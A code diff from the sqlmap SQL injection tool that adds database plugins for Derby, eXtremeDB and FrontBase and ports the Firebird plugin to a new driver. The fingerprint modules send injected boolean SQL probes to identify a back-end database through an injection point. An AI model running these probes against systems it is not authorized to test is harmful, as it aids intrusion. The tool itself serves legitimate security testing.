logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/derby/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py new file mode 100644 index 00000000000..c4c4ea098ce --- /dev/null +++ b/plugins/dbms/derby/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py new file mode 100644 index 00000000000..74072270325 --- /dev/null +++ b/plugins/dbms/extremedb/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import EXTREMEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.extremedb.enumeration import Enumeration +from plugins.dbms.extremedb.filesystem import Filesystem +from plugins.dbms.extremedb.fingerprint import Fingerprint +from plugins.dbms.extremedb.syntax import Syntax +from plugins.dbms.extremedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines eXtremeDB methods + """ + + def __init__(self): + self.excludeDbsList = EXTREMEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.EXTREMEDB] = Syntax.escape diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py new file mode 100644 index 00000000000..3c0083ad8cb --- /dev/null +++ b/plugins/dbms/extremedb/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on eXtremeDB it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py new file mode 100644 index 00000000000..c820b73e55a --- /dev/null +++ b/plugins/dbms/extremedb/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on eXtremeDB it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on eXtremeDB it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on eXtremeDB it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on eXtremeDB it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on eXtremeDB it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on eXtremeDB it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on eXtremeDB search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py new file mode 100644 index 00000000000..09a02ac9ec4 --- /dev/null +++ b/plugins/dbms/extremedb/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on eXtremeDB it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on eXtremeDB it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py new file mode 100644 index 00000000000..99e3737735b --- /dev/null +++ b/plugins/dbms/extremedb/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import METADB_SUFFIX +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.EXTREMEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.EXTREMEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES): + setDbms(DBMS.EXTREMEDB) + return True + + infoMsg = "testing %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("hashcode(NULL)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.EXTREMEDB) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_') diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/extremedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py new file mode 100644 index 00000000000..fa0f6395c4f --- /dev/null +++ b/plugins/dbms/extremedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 2c63d088de4..08b0f1e79bf 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, T def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.FIREBIRD] = Syntax.escape diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 0f9beb088d2..9e21a711fb0 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,33 +1,32 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: - import kinterbasdb -except ImportError: + import firebirdsql +except: pass import logging +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException -from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ - Homepage: http://kinterbasdb.sourceforge.net/ - User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html - Debian package: python-kinterbasdb + Homepage: https://github.com/nakagami/pyfirebirdsql + User guide: https://pyfirebirdsql.readthedocs.io/ + Debian package: python3-firebirdsql License: BSD - """ - def __init__(self): - GenericConnector.__init__(self) + Note: ported from the (Python 2-only, unmaintained) kinterbasdb driver to firebirdsql + """ # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" @@ -39,10 +38,9 @@ def connect(self): self.checkFileDb() try: - self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \ - user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") # Reference: http://www.daniweb.com/forums/thread248499.html - except kinterbasdb.OperationalError, msg: - raise SqlmapConnectionException(msg[1]) + self.connector = firebirdsql.connect(host=self.hostname, database=self.db, port=self.port or 3050, user=self.user, password=self.password, charset="UTF8") + except firebirdsql.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -50,20 +48,25 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except kinterbasdb.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + except firebirdsql.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): try: self.cursor.execute(query) - except kinterbasdb.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) - except kinterbasdb.Error, msg: - raise SqlmapConnectionException(msg[1]) + except firebirdsql.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except firebirdsql.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) - self.connector.commit() + # commit non-SELECT (DML) here; select() commits only AFTER fetchall() because a Firebird COMMIT closes + # open cursors (discarding an unfetched result set) + if commit: + self.connector.commit() def select(self, query): - self.execute(query) - return self.fetchall() + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 1945860a08d..2e911310b1b 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,41 +1,38 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" - logger.warn(warnMsg) - - return [] - - def searchColumn(self): - warnMsg = "on Firebird it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Firebird it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index ed033c2b5a8..949e3191976 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 8a8de5c70bd..db0bbc07a56 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,16 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode from lib.core.common import randomRange +from lib.core.common import randomStr +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -18,7 +20,6 @@ from lib.core.session import setDbms from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX -from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -51,13 +52,14 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") - if re.search("-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -69,17 +71,18 @@ def getFingerprint(self): def _sysTablesCheck(self): retVal = None table = ( - ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), - ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), - ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), - ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), - # TODO: add test for Firebird 2.5 - ) + ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), + ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), + ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), + ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), + ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html + ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf + ) for i in xrange(len(table)): version, checks = table[i] failed = False - check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) + check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))).replace("%s", getUnicode(randomStr())) result = inject.checkBooleanExpression(check) if result: @@ -103,15 +106,7 @@ def _dialectCheck(self): return retVal def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ - or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: - v = Backend.getVersion().replace(">", "") - v = v.replace("=", "") - v = v.replace(" ", "") - - Backend.setVersion(v) - + if not conf.extensiveFp and Backend.isDbmsWithin(FIREBIRD_ALIASES): setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() @@ -131,7 +126,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -151,7 +146,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index c59666ade95..a430debce7f 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,33 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend from lib.core.common import isDBMSVersionAtLeast +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ + >>> from lib.core.common import Backend >>> Backend.setVersion('2.0') ['2.0'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT 'abcdefgh' FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True >>> Backend.setVersion('2.1') ['2.1'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar" + True """ def escaper(value): - return "||".join("ASCII_CHAR(%d)" % ord(_) for _ in value) + return "||".join("ASCII_CHAR(%d)" % _ for _ in getOrds(value)) retVal = expression diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 78589f5a432..1fb4432d443 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,17 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py new file mode 100644 index 00000000000..5d148c15aaf --- /dev/null +++ b/plugins/dbms/frontbase/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import FRONTBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.frontbase.enumeration import Enumeration +from plugins.dbms.frontbase.filesystem import Filesystem +from plugins.dbms.frontbase.fingerprint import Fingerprint +from plugins.dbms.frontbase.syntax import Syntax +from plugins.dbms.frontbase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class FrontBaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines FrontBase methods + """ + + def __init__(self): + self.excludeDbsList = FRONTBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.FRONTBASE] = Syntax.escape diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py new file mode 100644 index 00000000000..2f69bfc8af3 --- /dev/null +++ b/plugins/dbms/frontbase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on FrontBase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py new file mode 100644 index 00000000000..374b4f7930e --- /dev/null +++ b/plugins/dbms/frontbase/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on FrontBase it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on FrontBase it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on FrontBase it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on FrontBase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py new file mode 100644 index 00000000000..7a6654966ee --- /dev/null +++ b/plugins/dbms/frontbase/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on FrontBase it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on FrontBase it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py new file mode 100644 index 00000000000..bb5e15a5c3e --- /dev/null +++ b/plugins/dbms/frontbase/fingerprint.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import FRONTBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.FRONTBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.FRONTBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(FRONTBASE_ALIASES): + setDbms(DBMS.FRONTBASE) + return True + + infoMsg = "testing %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT degradedTransactions FROM INFORMATION_SCHEMA.IO_STATISTICS)>=0") + + if result: + infoMsg = "confirming %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT TOP (0,1) file_version FROM INFORMATION_SCHEMA.FRAGMENTATION)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.FRONTBASE) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/frontbase/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the 